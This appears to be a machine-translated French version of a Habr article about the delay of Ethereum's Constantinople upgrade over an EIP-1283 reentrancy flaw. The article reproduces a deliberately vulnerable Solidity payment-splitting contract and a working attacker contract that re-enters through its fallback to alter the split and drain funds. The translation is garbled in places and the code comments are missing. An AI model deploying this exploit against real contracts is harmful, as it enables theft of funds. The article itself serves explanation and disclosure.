* La mise à jour d'Ethereum "Constantinople" est reportée en raison d'une vulnérabilité potentielle trouvée au dernier moment

image
* Beaucoup de gens appellent cet événement un "hard fork", mais Vitalik est contre .

La libération tant attendue de Constantinople devait avoir lieu le 17 janvier à 4 heures du matin UTC , mais une fois de plus, rompant brutalement la myriade d'armées de développeurs de compteurs à compte à rebours, cela ne se réalisera pas.

30 heures avant la sortie officielle, en raison de la vulnérabilité constatée, guidée par le principe du "mieux entrelacer que de ne pas entrelacer", la mise à jour a été reportée sine die.

Un événement qui a éveillé les oreilles de l'ensemble de la communauté a été l'offre téméraire de l' EIP 1283 , qui réduit l'exécution de l'instruction SSTORE (sic!). En général, l'une des principales directions de la mise à jour était la mise en œuvre moins coûteuse et plus rapide d'instructions particulièrement lourdes.

Les événements du 15 janvier se sont déroulés comme suit (heure en PST):

  • à 8 h, ChainSecurity publie une description de la vulnérabilité ;
  • là, Martin Holst Swende (le principal agent de sécurité de la Fondation Ethereum) réveille tous les développeurs clés, rappelant qu'il ne reste que 37 heures avant la mise à jour, et nous l'avons ici;
  • avant midi, il y a un débat houleux dans les bavardoirs et la «voix»;
  • Au dîner, il a été décidé d'annuler la mise à jour.

La situation a été aggravée par le fait que le temps de déploiement du navire a été extrêmement mal choisi: près de la moitié des nœuds ont réussi à être mis à jour, et tous les autres ont été méthodiquement et constamment bousculés au cours des dernières semaines. En conséquence, maintenant les nœuds mis à jour devront être mis à jour à nouveau (soit vers le haut ou vers le bas ... mda). Et qui n’avait pas le temps et dormait tout - bien fait, ils n’ont rien à faire.

Ensuite, tout était prévisible - le marché a réagi avec un effondrement de 5% du taux d'éther (haha). Beaucoup, bien sûr, étaient indignés de dire comment le prix de l'instruction peut affecter le secret, pourquoi l'avez-vous mis là et tout ça ... Mais en fait, rien d'inhabituel, tout est comme tout le monde.

Il est préférable de lire les détails techniques de la vulnérabilité dans l'article original de ChainSecurity , il n'est pas difficile de le comprendre.

Qui est trop paresseux pour plonger dans le code - le fait est qu'avant la mise à jour, l'instruction SSTORE était si chère qu'il n'y avait aucun moyen de changer «l'état» des autres contrats, après la mise à jour de Constantinople, l'instruction est devenue moins chère (et), et vous pouvez changer le «stockage» plusieurs fois, changeant ainsi la logique du contrat vulnérable.

Code de contrat vulnérable (avec mes commentaires):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; //      ,       (  ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } //    ,       function deposit(uint id) public payable { deposits[id] += msg.value; } //       function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // ,  (     split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; //     (    fallback-   ) a.transfer(depo * splits[id] / 100); //  -   (       ) b.transfer(depo * (100 - splits[id]) / 100); } } 

Code de contrat d'attaque:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } //    *,      PaymentSharer   function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback ,     transfer- function () payable external { address x = victim; // ,       (  ,   updateSplit(0, 0)), ..    Split          assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

* dans l'original est manquant, mais quelque part il devrait y avoir une initialisation du formulaire:
init (0, «Adresse du contrat de l'attaquant», «Adresse du portefeuille de l'attaquant»)

avant d'appeler la méthode d'attaque.

Bien sûr, le contrat PaymentSharer lui-même soulève de nombreuses questions, sur lesquelles nous montrons une vulnérabilité, il est en soi aveugle de travers, et c'est en lui que le problème
et pas dans le prix de SSTORE, et en général - dans le réseau de sortie, ils n'ont pas trouvé un seul exemple vivant, mais ont décidé de le jouer en toute sécurité, tout de même le prix de l'erreur peut être trop élevé (tout le monde se souvenait du DAO mort depuis longtemps ici).

En général, la communauté Ethereum a beaucoup d'événements intéressants: la lutte des cardinaux du marché gris (GPU vs ASIC) s'est intensifiée, ce qui mérite en soi un article séparé, la sortie prochaine de Bacon Chain prend de l'ampleur - l'année promet d'être riche en événements et en intrigues.

Source: https://habr.com/ru/post/fr436262/


All Articles